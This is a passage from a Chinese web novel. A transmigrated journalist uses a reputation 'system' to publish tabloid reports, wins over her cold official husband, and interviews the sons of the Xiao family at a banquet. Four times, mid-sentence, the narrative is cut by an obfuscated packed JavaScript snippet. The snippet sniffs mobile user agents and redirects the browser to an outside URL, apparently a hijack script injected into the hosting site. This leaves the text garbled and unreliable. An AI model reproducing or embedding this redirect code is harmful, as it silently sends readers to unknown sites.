这个时代不存在单独的印刷业、出版业，规模大些的书肆都有自己的印刷工坊。如果由他人代印，成本就会直线上升。若要创办报社，场所设置最好参考书坊的结构布局，在坊中开辟出单独的一处区域进行印刷。 孟允抒在脑内谋划着，在一名写工的指引下前往后院。 秋盈终于得空，小声问她：“夫人的目的是澄清事实，你既已付钱，为何不直接将小报免费发放给民众？” 秋盈的疑问将孟允抒从遥远的未来拉回当下。 “现今我尚无名气，若免费发报，众人只会当它是废纸一张。”孟允抒回答，“但掌柜为了多赚钱，定会想尽办法将报纸兜售出去。这样一来，我不用再为散播消息而发愁，也能先积攒些读者。” 秋盈了然：“这就是以退为进。” 孟允抒含笑点头。秋盈果然不符合她对丫鬟的刻板印象。 孟允抒和秋盈下工回府时，天色已经擦黑。府中下人说许昭已在正厅，待她回来用膳。 她事先告知过许昭今日晚归，没想到许昭会等她，火速钻进卧房卸妆换衣，又匆忙赶回正厅。 两人互相行礼后，许昭请孟允抒落座。他依然是那副冷淡平静的神色，秉持着“食不言寝不语”的良好作风，整个厅堂安静得只有碗筷碰撞声，孟允抒猜不出他的心理，也不知是否该同他搭话，只能闷头吃饭。 抄了一整日的书，孟允抒的胳膊酸痛，手也颤得厉害，捏着筷子不住发抖，拼尽全力才勉强稳住动作，不至于让许昭一眼瞅出破绽。 然而，昨夜她睡得太晚，困意渐浓，周围的空气又太过寂静，最终她还是打起盹来，筷子逐渐脱了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310334|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“啪”地一声掉在地上。 她被清脆的声响吓醒，连忙起身道歉。 这响动倒成了孟允抒的开场白，许昭说了句“无妨”，叫人给她重新取了筷子，不咸不淡地问道：“最近几日你经常外出奔忙，可是有什么要紧事？” “没有。”孟允抒不想过早地把自己的底牌亮给许昭，随口扯了个谎，“只是想出去散散心。” 许昭抬眼看向她，轻叹一声道：“我不知姑娘是何想法，但请你与我明说。” 他没头没尾地来了这么一句，孟允抒一头雾水，疑惑地说道：“我不明白公子在说什么。” “自那日你出事之后，我差府中下人多留心你的动向。”许昭回答，“据他们所言，这几日你的精神甚好，但好得有些出奇。” 说着，他举了个例子：“我听他们说，你每日清晨都会在院中作法跳傩。” “……” 孟允抒不知道该怎么和许昭解释，那是她在做健身操。 他又指指孟允抒刚吃完的两碗米饭：“你的食量也比从前翻了五番有余。” 孟允抒心想，她要是按原主的饭量吃饭，不出两天就得饿晕过去。 “任谁经此波折都会通达许多。”孟允抒搪塞道，“来日方长，我不如率性而为。” 许昭对她的回答不置可否，两人吃完饭离席后，他叫孟允抒同他前去书房。 “今日刑部有官员外出办事，路过书肆曾买过一份小报。我想听听姑娘对此作何评价。” 孟允抒扫了一眼报头标题：《狼子野心？寻花问柳？你所不知道的刑部郎中许昭》。 这篇文章正是她亲笔所写。 她佯装认真阅读的样子，将文章从头到尾看了一遍，硬着头皮自夸道：“此文条理清晰，振聋发聩，不知是何人所作？” “嗯，证据确凿有力，又对虚假新闻发起猛烈攻击，可看出此人定然知晓事件内情，且为人正直，写作功力深厚。”许昭说着，居然笑了起来，“其身份真是神秘莫测。” 这是孟允抒第一次见到许昭的笑容。他笑起来的时候，眉眼中的霜雪尽数融化，如水汽氤氲在冰湖之上，为他添了几分柔和。 但她现在顾不上欣赏许昭的美颜，只是心虚地附和：“公子所言极是。” 傻子都能听出来，许昭显然已经猜到这篇文章出自她的手笔。 “我以前只知你柔顺，不曾想你竟是个有主意的。”许昭恭敬地向她作了一揖，“今日我已听闻百姓议论此事，感谢你为我扭转风评。我已将姑娘前日的教诲记在心上了。” 见许昭开门见山，孟允抒觉得这是个好机会，不如趁势给他刷点好感度。 她语气真诚地说道：“我从前也只认为公子是无情之人。切身走访调查后，我已得知真相，也希望百姓知晓公子为官清廉、为人方正。” 在一派友好祥和的氛围中，孟允抒收到了系统的通知。 【恭喜您完成新手任务，任务奖励已到账。您当前声望值为20，是否需要兑换情报？】 5. 热点 尽管孟允抒面对到账的声望值心痒难耐，她却迟迟没有兑换情报。 原因很简单，她当前的工作强度太大，根本抽不出半分闲暇采写新闻。她若是没能及时撰写报道，就相当于白白浪费了一次机会。 拢共就这么点声望值，好钢得用在刀刃上。 好不容易捱到午时，孟允抒印完一份文稿放到一旁，听得门外传来一阵凌乱的脚步声，三五个伙计走进来，对里面的其余人等喊道：“你们可以去吃饭了。” 孟允抒听到这话来了精神，连忙扔下手中的活计，招呼秋盈一同前往临近的小摊。 文昌书坊的经营时间从辰时一直持续至戌时，午时店里的伙计和工人分两批轮流休息，这段空隙只够她去吃顿饭，速度快些的话还能打个盹眯一会。 书坊休假同样遵循轮休制度，十日一休，饶是孟允抒这样饱经磨砺的社畜都顶不住这般压力。明天她终于能迎来自己的第一个假期。 想到这里孟允抒觉得有些对不住秋盈，说到底她是因为自己才上了这条贼船。 “这几日辛苦你了。”孟允抒要了两碗面，一屁股坐到板凳上，揉捏着酸痛的双腿，“这些活真不是一般人能干的。” 秋盈想替她把面中的调料拌匀，却被孟允抒抢了先，便挪来自己的碗小声说道：“我对此早已习惯，倒是委屈你与我们这些人同吃同行，终日劳碌。” 坊中有不少工人在此吃饭，孟允抒也不敢大声喧哗，压低嗓音佯装怒道：“都是肉体凡胎，我与你、与他人并无半分区别。以后不许再这样说话。” 秋盈显然还不适应二人的平等地位，但既然是孟允抒提出的要求，她也只好应下，挑起面条吃了起来。 相较于许府安静有序的氛围，闹市中的平民显然不拘小节，在吃饭时依然高谈阔论。几名工友与孟允抒同坐一桌，他们的大嗓门震得她的耳膜嗡嗡作响。 坐在孟允抒对面的男人兴冲冲地问道：“礼部今早在临明池放了榜，你们可知状元是何人？” “我从坊中客官那听说，新科状元萧睿言，是京兆府尹大人的小公子。” 他们的对话让孟允抒想起，现在距离上次殿试已经过了三年，今天又是一群人春风得意的日子。按照时辰推算，新科进士们这会正在享用御赐的琼林宴，宴席上定然少不了各式各样的山珍海味。 孟允抒瞅了瞅面前看不到一点油花、只有两片青菜作伴的面条，顿时觉得碗里的饭不香了。 胤朝自建立之初便有重文轻武的风气，文人的地位与权力大大提高，“万般皆下品，唯有读书高”在当下更是一句颠扑不破的真理。若是某人能在科举中一鸣惊人，他日后虽不一定能平步青云，但最起码能保证自身衣食无忧。 也正是因此，胤朝百姓的学习热情空前高涨，为文化产业提供了肥沃的生存土壤，在这一点上孟允抒倒是十分庆幸。 对面那人又故作高深地发问：“你们可曾见过萧公子本人？” “高官之子，哪是我们这些人轻易能见的。”孟允抒身旁的伙计不满地抱怨，“本来今日轮我值夜，但为了瞅一眼状元的真面目，我特意起了个大早赶到临明池，结果放榜处早就挤满了人，不仅没看见萧公子，我的鞋还被踩掉了一只，到现在都没找回来，亏大发了！” 孟允抒与桌上的工人发出一阵哄笑声，秋盈也掩面笑了笑。 “你们笑什么！”他恼羞成怒道，反问最开始说话的人，“听你的口气，你见过萧公子？” “我没见过，但我可知道不少关于他的消息。” “别卖关子了，快说。” 众人的关注让那人收获了极大的满足感，他不紧不慢地开口道：“萧公子刚及弱冠之年，仪表堂堂，与知名才女盛催雪还有一段风流韵事……” 从他后半段的描述中孟允抒可以判断出，这段话的可信度几乎为零，八成又是人们捕风捉影传出的闲话，以讹传讹演变成了如今有鼻子有眼的版本。 但这番话并非毫无用处。它提醒孟允抒，一个崭新的热点正摆在自己面前。 和现代的高考一样，官方公布成绩后，普罗大众最好奇的便是状元的名号花落谁家。在答案揭晓之后，人们又自然而然地会去探寻关于状元的一切，不外乎他的家庭背景、个人品性、学习方法、日常生活等方面。 孟允抒望了一眼对面那人口若悬河的样子。 看来对于胤朝人而言，还要再加上一个感情状况。 与此同时，系统的声音骤然在脑内响起。 【您已触发任务：三日内查清萧睿言的相关信息并向民众传播。任务完成后可获得40点声望。】 孟允抒内心一阵暗喜。这次的任务奖励比上次翻了一番，换句话说，萧睿言比许昭值钱多了。 联想到系统先前所言，“舆情热点通常与任务有直接关系”，孟允抒觉得她暂时不必在舆情热点上花费声望值。 孟允抒回忆了一遍任务目标。一切新闻的首要切入点都是当事人，对于民众关心的这些问题，固然可以从萧睿言身边的人口中得到答案，但萧睿言本人才是重中之重。 可她从未见过萧睿言，更别提与他有什么交情，要想接近他并了解其方方面面，并非是一件容易的事。即使她能乔装打扮混进萧府，也缺乏合适的理由对他展开细致深入的采访。 不得已之下，她询问系统：“为了完成任务，我需要面见萧睿言并对他进行详细提问，你能给我提供线索吗？” 【当然可以。每条调查线索需要消耗10声望点，请问您是否需要兑换？】 孟允抒舍不得一次性把声望点花光，选择先兑换其中一条。 【为庆贺萧睿言金榜夺魁，萧老爷将在明日于府中设宴。】 说完这句话，系统便没了声音。 孟允抒挑起面条的手凝滞在半空。 这就结束了？ 旁边的秋盈见她忽然发起呆来，疑惑地问她：“你怎么了？” 孟允抒神色如常，微微一笑道：“我在思考。” 事实上，此刻她正在内心大骂系统：“然后呢？你说一半就没有后续了？这条线索有什么用？” 【非常抱歉给您带来不好的使用体验。但调查线索的特征就是这样，因为它太过零散，所以容易让人觉得莫名其妙。】 真不愧是适合新闻人体质的情报系统，片面报道的手法属实让它玩明白了。 孟允抒无奈掏出她兜里剩下的那点余额：“我再兑换一条调查线索。” 【萧老爷宴请了多位官员，其中包括许昭。】 孟允抒思忖，这条线索还算有点用处。只要能够说服许昭，她作为许昭名义上的夫人，就可以同他一起前往萧府。作为慕名而来的宾客，她向萧睿言请教攀谈也在情理之中。 除此之外便是文章见报的问题。 这次孟允抒长了个心眼，为防止郭掌柜到头来诓她的钱还要白拿她的消息和文章，她事先与郭掌柜商谈好了发行小报的相关事宜，言说她的探官朋友已经掌握萧睿言的独家新闻，掌柜同她约定，待她休假结束后带来消息，一手交钱一手交货。 当前万事俱备，只欠许昭这场东风。 孟允抒按照平时的日程下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310335|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工回府，许昭也同往常一样不曾与她产生过多交流。晚饭过后，孟允抒请许昭在堂中留步：“许公子，我有事要与你相商。” 许昭闻声走到案旁坐下：“姑娘请讲。” 孟允抒斟酌着语气，温声说道：“我听闻京兆尹大人的小公子在殿试中一举夺魁，为庆祝此事，萧大人邀请众位官员于明日赴宴。” 她的话刚刚落音，许昭的神色一凛：“你如何得知萧大人设宴之事？” 孟允抒对他的反应早有预料。过去两年二人互相猜忌，他们之间的隔阂不可能在一朝一夕就被打破。 “今日我在揽月阁用膳，菜肴迟迟不见上桌，我便叫来店小二问话。”孟允抒拿出她事先准备好的说辞，“他一再赔罪，说是一部分伙计被叫去准备萧府宴席需要的食材，后厨人手不够，这才耽搁了时间。” 揽月阁是京中规模最大的食肆，提供菜品预订与送货到家服务。许昭并不知道宴会筹备的内情，更不知揽月阁是否参与其中。 孟允抒当然也不清楚，但利用这个借口，她能够完美地解释自己的消息来源。 许昭示意她继续往下说，孟允抒装出兴奋的模样，将身子往许昭那边靠了靠，语调欢快地问：“许公子可有收到邀请？” “有。” 得到肯定答复，孟允抒稍稍松了口气。至少她不用在这个问题上和许昭斗智斗勇。 然而，他接下来的一句话又将孟允抒打了个措手不及。 “但我不打算赴宴。” “为什么？”急切之下，孟允抒的疑问几乎是脱口而出。 “我素来不喜、也不擅长与人交往。”许昭淡然回答，“更何况，朝堂之外的任何私交都有结党营私之嫌，我也不想为自身招致祸端。明日我差人往萧府送一份贺礼，聊表心意便是。” 面对意外状况，孟允抒一时怔住了。她千算万算却漏了一条信息：许昭是个独行侠。 从她的记忆中能够看出，许昭除日常工作之外，绝大多数时间都一人待在书房内看书写字，是个标准的宅男。 他自己不愿意出门，孟允抒也没办法绑架着他去萧府。 她忽然灵光一现。 道德绑架是个下三滥的招数，但面对许昭这种道德感极强的人来说，它实在是太好用了。 “可是我想去。”孟允抒语气恳切地说，“过去我总是闷在府中，心情低落，近日我常在外走动，与众人交谈，身子都好了许多。” “那便叫秋盈陪你去庙会，那里人群密集。” “但他们大多仅与我有一面之缘。”孟允抒哀婉地说道，“明日定会有许多朝臣的夫人、官家小姐前往萧府，我想结交些同我年龄相仿的姐妹。” 接着，她又卖起惨来：“自姚府倒台，我在这世上无亲无故……” 许昭见她还在为伤心往事耿耿于怀，心中又不免愧疚。说到底她的现状是他一手造成的，自然该由他收场。 “姑娘莫哭。”他手足无措，不知该如何安慰，最终只能妥协，“明日你与我一同前往赴宴便是。” “真的？”孟允抒喜上眉梢，刚才的愁容已经消失得一干二净。 她没想到这招见效如此之快。 “君无戏言。” 孟允抒达成自己的目的，便不再演戏。她一瞬间激动得忘乎所以，猛地站起身冲过去，将许昭抱了个满怀：“多谢公子。” 说完，她又飞快地跑出门外，前去准备自己的问题。 过了半晌，待许昭脸上的绯红和孟允抒身上的清香一同散尽后，他才缓缓回过神，强装镇定地喝了口茶。 6. 人脉 京城是皇亲国戚、达官显贵的聚居地，萧家在其中虽称不上家大业大，但也算是人丁兴旺，府邸面积不小，亭台楼阁分布得错落有致，构成一个小巧而精致的私家园林。 在府中下人的接引下，列位宾客一同前往正厅。孟允抒望了一眼前方攒动的人头，微微颔首，规矩地跟在许昭身侧，生怕自己一时不慎露出马脚。 许昭察觉到她的紧张，却只当她是因为见到众多外人而循规拘礼，便悄声向她依次介绍赴宴宾客的身份和性格特点。 “廊柱旁边站着的那人是吏部员外郎，长袖善舞，四处笼络人心。” “被众人簇拥的那名体胖之人是御史中丞，旁边跟着的是他夫人。那女子不是他的发妻，是在其原配逝世后被他迎娶进门的。当时距他的发妻去世不过一月。” 说到后半句时，许昭的面色如常，但语气中有很明显的愤慨和斥责。 赴宴的宾客人数众多，直到他们依次落了座，许昭还在介绍这些人的概况。 “离门口最近的那位是太常寺少卿，为人刚正，直言不讳，也因此与多位官员结仇。” 这话分明是在叙述客观事实，孟允抒却从中听出了几分赞许。 伴随着许昭的锐评，孟允抒的目光从诸位宾客身上一一扫过。令她意外的是，许昭在介绍这群人时的表现与平日截然不同，完全没有那副置身事外的冷淡，而是具有强烈的个人好恶，可以明显感受到他的感情倾向。 “既然众位亲朋已经到齐，那我们便可以开宴了。不过在此之前，还请诸位容我絮叨几句。” 坐在首席的萧老爷发了话，堂中的喧哗便低了下去，逐渐四散成微不可闻的低语，最终如水汽蒸发一般消失不见。 孟允抒抬眼看向座首，萧大人已年逾五十，但须发乌黑，声音洪亮，看上去还是正值壮年的模样。他身居要职，气度不怒自威，可谈吐又温和亲切，让人听来如沐春风。 像他这样的人，无论放到哪个时代，都能在官场混得风生水起。 孟允抒对冗长的领导讲话不感兴趣，便分出一半注意力来打量他身旁的那三名年轻男子。 这三人的眉宇之间都与萧大人有些相似，不难判断出他们的身份。 “……忙于公事，教子无方。所幸萧府蒙受天子福泽，三位犬子皆精于诗书，文采斐然。” 萧老爷的话印证了孟允抒的猜想。任务对象已经出现，她凝神听他继续说下去。 萧老爷笑呵呵地看向离自己最近的那名男子：“长子萧恒言，现任鸿胪寺少卿，诸位都认识，我便不在此多费口舌了。” 萧恒言闻声站起身，向四面宾客恭敬行礼：“众位长辈亲朋在百忙之中赏光莅临萧府，应邀前来为舍弟道喜，恒言在此谢过诸位。” 他的举止得体，落落大方，又是家中长子，从萧老爷的满面红光来看，他对萧恒言相当满意。 他又望向今日宴席的主角：“末子萧睿言聪明伶俐，却并不勤于读书，整日将心思放在游玩享乐上，自幼便让人发愁。好在他这两年收了心，迎头赶上，才有今日的金榜题名。” 他的语气多有嗔怪，但孟允抒一听便知其中明贬暗夸的意味。 见萧睿言起身谢礼，孟允抒坐直身子，好将他的样貌看得更清楚些。 如坊中传言所说，萧睿言看上去二十岁左右的年纪，面如冠玉，嘴角总是噙着笑意，身着一袭缕金竹青长衫，色彩的明暗交织相得益彰。他抬手时，丝质的衣袖翩然拂动，衬得他整个人温润儒雅，如夏夜间的清风朗月。 “萧老爷真是好福气。”许昭方才介绍过的那名吏部员外郎朝案首说道，“当年萧大公子连中三元，如今小公子又金榜夺魁，一门双状元，可喜可贺！” 说罢，其余的各位宾客也纷纷应和，各种溢美之词淹没了整个厅堂，萧老爷连同那两位被夸赞的公子则连连自谦，声称诸位言过其实。 在这满堂的喜庆中，孟允抒注意到那个位置居中的二公子坐立难安，起身道谢也不是，坐着旁观也不是，在夹缝中手忙脚乱，连与他相隔十米远的孟允抒都能感受到他的窘迫。 待宾客的客套话平息过后，萧老爷似乎才想起来二公子的存在，捎带着介绍了一句：“次子萧谨言平日手不释卷，勤恳学习，只是天资不足，未能考取功名。但谨言为人忠厚，尊敬师长，还望诸位对他多加指教。” 萧老爷说的就是一句经典的场面话，对于家长来说，要是一个孩子没什么拿得出手的突出优点，那就夸他老实乖巧。 萧谨言的外貌也称得上是玉树临风，又带着浓厚的书卷气，可行动起来总是目光躲闪。他局促地向众人行礼，却因为动作幅度过大撞翻了桌上的茶盏，脸上红一阵白一阵，嘴里不住地道歉。 孟允抒算是明白了，萧谨言是个社恐。看着他滑稽的动作，她觉得又是好笑又是同情，在道德感的驱使下努力憋住笑意。 “今年我五十有四，心有余而力不足，要不了几年就该告老辞官了。” 从方才三位公子的表现以及萧老爷的评价与态度中，孟允抒已经将他们的性格摸了个大概，同时也意识到萧老爷设宴的真实目的。 现今萧家父子三人都入朝为官，两位公子又潜力巨大，在外人眼中，他们浑然一体，是一股不可忽视的势力，或是为人忌惮，或是被人拉拢，总之他们已经难以逃离纷争的漩涡。 在这种情况下，萧老爷选择广结善缘，他有意栽培自己的两个儿子，完成人脉资源的交接。待他们在朝中站稳脚跟，自己便可全身而退，也能顺利稳固家族地位。 朝政局势波谲云诡，萧家的兴衰危亡不过在瞬息之间，一着不慎便可能祸及全家。 孟允抒觉得，以萧谨言表现出的性格来看，他没能在科举中取得名号反倒是一件好事。他要是进了官场，估计只有被人使唤着背黑锅的份，运气不好还得当个替死鬼。 萧老爷一席话毕，正式宣告开宴。萧府事先请了乐坊的歌女乐师前来表演助兴，再加上席间的宾客纷纷向萧老爷和几位公子祝酒道喜，推杯换盏之下，宴会的氛围很快被炒得热络起来，宾客们也趁此机会拉近彼此之间的关系。 当然，在这个过程中，许昭不在其列。不管周围的人们如何兴高采烈，许昭只是正襟危坐，偶有人唤他的名字向他敬酒，他也只是略一点头，草草几句便结束对话。 在此之前，孟允抒只当许昭是与她关系生疏，因而在府中用膳时一言不发，平日里也不经常同她攀谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310336|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。今天她才明白过来，许昭并不是针对她，而是平等地远离所有人。 孟允抒很难想象，许昭到底是怎么在朝廷上混下去的。 她挪了挪身子凑近许昭，低声提醒他：“许公子，你还不曾向萧大人祝酒。” 许昭淡然回答：“方才落座前我已向萧大人道喜，同样的话翻来覆去地说上几遍，意义何在？” 孟允抒感慨，要是每个人都有许昭这个觉悟，酒桌文化也不至于延续几千年了。 当前是向萧睿言发问的最佳时机，既然许昭不愿意敬酒，孟允抒只好起身举杯，面向座首的萧老爷笑道：“萧大人，这杯酒我敬您，一为祝贺，二为道谢，三为赔罪。” 嘈杂的厅堂之中猛地冒出一个敬酒的女声，铿锵有力毫不露怯，这引得众人纷纷向孟允抒投来惊疑的目光，席间短暂地安静了一瞬，又很快演化为一阵窃窃私语。 许昭没想到她会突然起身，赶忙悄声问她：“你要干什么？” 孟允抒没理他，只注视着萧老爷闻声举杯。他看向孟允抒所在方位，又望了一眼她身旁的许昭，似是在辨认她的身份。 他笑容可掬地应道：“孟夫人祝贺之意我心领神会，只是这道谢和赔罪从何说起？” 孟允抒回答：“许公——” 她意识到外人并不清楚她与许昭的关系，连忙改口道：“许郎他不善言辞，心直口快，平日里定然对大人多有冒犯。” 说着，她又转向席上的其他官员：“对诸位大人也是一样，还请各位多多海涵，我在此替他赔个不是。” 她将杯中酒一饮而尽，而后又重新斟满，看向萧老爷说道：“而大人不计前嫌，宽宏大量，今日依然邀请许郎前来赴宴，让我得以一观三位公子的风姿，见到朝中诸位重臣，沾了萧府的喜气，允抒感激不尽。” 这话说得恳切，连孟允抒自己都被感动了。 萧老爷大笑着应道：“朝中官员皆知许大人秉公直言，我也深感敬佩，我们早已习惯他的作风。” 鉴于刚才孟允抒道歉态度良好，各位大臣也就坡下驴，席间响起一阵此起彼伏的应和声。 萧老爷饮下一杯酒，表示他已经收下了孟允抒的敬意：“只是我未曾想到，许大人平日不苟言笑，竟能娶得如此伶俐聪慧的夫人。” 席上也有人打趣道：“想来正是因此，许大人才金屋藏娇，今日我们才正式与孟夫人会面。” 众人的调侃一齐向许昭涌来，这让他难以招架，像刚才的萧谨言一般如坐针毡。 孟允抒觉得他无措的模样十分好笑，但又担心下次他不再带自己参与类似活动，看了会戏后决定替他解围，将话题引到她的任务目标上：“萧大人，今日我能见到两位状元已是三生有幸，只是允抒对几位公子十分好奇，大人能否容我向他们提问？” 萧老爷认为这是锻炼他们临场应变能力的绝佳机会，欣然应允道：“孟夫人请便。” 她笑意盈盈地问：“几位公子意下如何？” 萧恒言和萧睿言自然给出了肯定答复，萧谨言则是一副被迫的模样，露出一个尴尬而不失礼貌的微笑。 像过去参加新闻发布会那样，孟允抒站起身，面向萧睿言抛出了第一个问题。 7. boss直聘 这场家宴足足持续了两个时辰，除过萧睿言本人，孟允抒还从旁人那里打探来不少关于他的情报，能够从另一个角度佐证他的答案。 孟允抒在脑内回忆着她的所见所闻，一篇状元采访稿已经基本成型。要是能了解到更深层的信息，对其中的部分细节进行补充，那更是堪称完美。 宴会结束后，萧大人又请诸位宾客共同观赏萧府园景，但大家的心思显然并未放在单纯的观景上，过了十多分钟，人们又自发三五成群，形成一个个独立的小团体进行人际往来活动，在言语之间拉近彼此的关系。 对新闻记者来说，人脉往往与信息资源挂钩，今日的宴席为孟允抒提供了一个千载难逢的好机会。凭借着过去在采访生涯中练出的口才，她用三两句话便打入了官员夫人与小姐的圈层之中，顺利博得她们的好感。 等孟允抒心满意足地退出聊天，她才想起来，自己不知道把许昭扔哪去了。 男女有别，许昭根本不可能插进她们的谈论当中，从一开始就没跟着孟允抒走。按照许昭的性格，她猜测他应该寻了个清净的去处，于是沿着长廊一路向前。 她深入到花园后方，依然没能寻见许昭的身影。 在园中绕了半晌，当她再次回到那个似曾相识的小路上时，孟允抒不但没找到许昭，还发现了一个更糟糕的情况。 她迷路了。 孟允抒算不上路痴，但方向感的确一般。胤朝没有导航为她指路，建筑上更不可能标注门牌号，萧府设计园林时又追求美观，园中道路不像大马路那样简洁笔直，绕得孟允抒晕头转向。 反正闲着也是闲着，孟允抒决心再四处走走，若是能找到回去的路那自然最好，若是找不到就全当观赏风景。 她拐了个弯，向前走了一段，忽而闻得一阵芳香扑鼻而来。孟允抒抬眼望去，一树海棠骄艳如火，花团一簇簇地点缀在树木的枝桠上，像是将其点燃一般，整棵树都被烧得明亮，毫不遮掩地撞进她的眼中。 孟允抒被眼前的耀眼夺目的海棠震撼，过了许久才注意到另一侧的梨花还含苞待放。 这一情况很是反常。此时正值阳春三月，按常理来说应是梨花盛放、海棠未开的时节，然而这一顺序被颠倒了。 “梨花未雪棠先雨，半面迎春半面伏。却梦今朝寒日去，晴霜万里入皇都。” 这句诗恰到好处地描述了孟允抒眼前的奇观，声音的主人在吟至最后两句时，又自嘲般地苦笑了一声。 诗句的内容似乎饱含作者对于心愿落空的失望。 孟允抒没料到还有人在这僻静之地，便循声走了过去。 绕过一处假山，孟允抒见两三米外的凉亭中坐了个人，半靠着柱子唉声叹气。 从背影中孟允抒分辨出，此人正是萧谨言。 她心下疑惑，今日萧府设宴，他作为主人，这会应该和他的父亲兄弟一起招待客人才对。 孟允抒上前问道：“二公子，你怎么在这？” 萧谨言被这突如其来的问候吓得一颤，腾地一下从凳上跳了起来，待回头看清来者面容后才松了口气：“原来是孟夫人。” 他挺直腰背站好，磕磕绊绊地问道：“你有什么事？” 显而易见，他并没有完全放松下来。 孟允抒对萧谨言也有诸多疑惑，不如趁此机会询问一番。 她微微一笑，安抚他道：“公子不必紧张，我只是迷路至此，见到公子想与你聊聊。” 萧谨言的声音中满是警惕：“聊什么？” 孟允抒有些纳闷，她的长相极具亲和力，萧谨言不至于害怕成这样吧。 “我想问公子几个简单的问题，不知你是否方便？” 萧谨言瞥了她一眼，不满地嘀咕着：“方才你在席上就是这么说的，最后却问了一连串。” 孟允抒明白了，自己的犀利发言给萧谨言这个社恐留下了不可磨灭的阴影。 话虽如此，萧谨言还是拿出了主家应有的礼节，请孟允抒在他对面坐下：“夫人请讲。” “我无意冒犯公子，若言语中有不妥之处，还望公子见谅。”孟允抒给他打了个预防针，“方才我听见公子吟诗，我想请教公子，这几句诗出自何人之手，又是何含义？” “你听见了？”萧谨言握起拳，指尖被他攥得发白，一副强忍尴尬的模样，语速飞快地说道，“那、那是我看见园中奇景即兴胡说的几句，并无实际意义，让夫人见笑了。” 孟允抒决定采取迂回战术，先拉近两人的距离再深入聊天：“二公子果然好文采。方才席间行酒令时我便发现，公子才华横溢，作文写词的水平甚至远超大公子与小公子，看得出你是饱读诗书之人。” “夫人谬赞了。”萧谨言嘴上这么说，可看得出他对这一夸奖很是受用，脸上有掩不住的喜色。 然而他的神情又很快被哀伤取代：“夫人一定是见我不受重视，形容猥琐，又孤身一人在此，故出此言为我宽心。” 孟允抒顺势问出那个关键问题：“在我看来，公子一表人才，且学识并不在你的兄弟之下，公子为何要这般贬低自己？” 但萧谨言还在孟允抒是不是真心夸赞他的问题上纠结：“谨言无权无能，夫人与我交好并无意义，不必顾及我的情绪。” 孟允抒有点头疼，真是个拧巴的人。 她耐心问道：“那请公子告诉我，你为何会认为我在说客套话？” “明眼人都看得出，我的长兄与小弟皆是出类拔萃的人才，在科考中所向披靡，更何况我的出身还较他们低些，我怎可与他们相比。”萧谨言的眼神落寞，“我心里明白，众人愿意吹捧我，不过是因为我沾了两位兄弟的光。” 先前孟允抒从那群夫人口中得知，萧恒言与萧睿言皆是正室所出，萧谨言的母亲则是侧室，因而他总觉得自己低人一等。 “并非如此。我的确认为公子文章卓越不群。” 尽管孟允抒一再鼓励，萧谨言仍是不信，摆摆手道：“我若真是旷世奇才，为何屡考不中？” 孟允抒找到问题突破口，连忙追问：“此话怎讲？” “我比睿言年长七岁，故而比他多参加过两次科举，如今已考过三回。”他说到伤心往事，声音渐渐低了下去，“三次考试中，最后这次我才堪堪通过院试。” 而后，他的声音骤然高昂起来，癫狂似地在亭中左右踱步：“我长兄连中三元，睿言年纪轻轻却一举夺魁，家中有大小两位状元，我是中间那个萧秀才！哈哈，秀才！” 完了，孩子考试考疯了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310337|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孟允抒对他的遭遇深表同情和理解。科举考试是平民百姓飞黄腾达的唯一途径，那可是正经八百的千军万马过独木桥，简直是地狱难度。 要不然为什么范进中举之后会发疯呢。 “公子，你先冷静。”见萧谨言完全没有停下来的意思，孟允抒只好提高嗓门坦言道，“可科考并不一定能检验一个人的才华学识。” 萧谨言顿住脚步：“你说什么？” 孟允抒发觉她这话有大逆不道之嫌，赶忙解释道：“一张试卷就那么些题，形式又固定，怎么可能面面俱到。更何况，也许公子只是不擅长应试，而非才疏学浅。” 她忽而想到一个双赢的好主意：“既然公子在科考中徒劳无功，为何不索性换个方向试试？” 听到这话，萧谨言安静下来，重新坐回孟允抒对面：“请夫人为我指点一二。” 孟允抒开始发挥每个创业者必备的画饼技能，发表了一段慷慨激昂的讲话，详细讲述了她创建报社的计划以及新闻行业光明的市场前景，诚邀萧谨言担任报社编辑。 